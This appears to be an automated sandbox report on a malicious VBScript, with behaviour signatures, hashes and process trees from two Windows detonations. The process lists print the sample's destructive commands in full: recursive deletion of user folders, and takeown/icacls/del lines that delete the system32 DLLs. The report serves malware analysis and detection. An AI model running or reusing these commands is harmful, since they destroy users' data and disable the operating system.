Analysis Overview
SHA256
5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8
Threat Level: Likely malicious
The file script.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 21:04
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 21:04
Reported
2024-08-09 21:06
Platform
win7-20240708-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
Network
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs
| MD5 | 0e67913dfaa6e19b7f9b2a4d70a639dc |
| SHA1 | 23f709f5ccbf4bf460084feb1c5e04208f4d521b |
| SHA256 | f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8 |
| SHA512 | c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 21:04
Reported
2024-08-09 21:04
Platform
win10v2004-20240802-en
Max time kernel
30s
Max time network
30s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 39.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.53.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs
| MD5 | 0e67913dfaa6e19b7f9b2a4d70a639dc |
| SHA1 | 23f709f5ccbf4bf460084feb1c5e04208f4d521b |
| SHA256 | f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8 |
| SHA512 | c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da |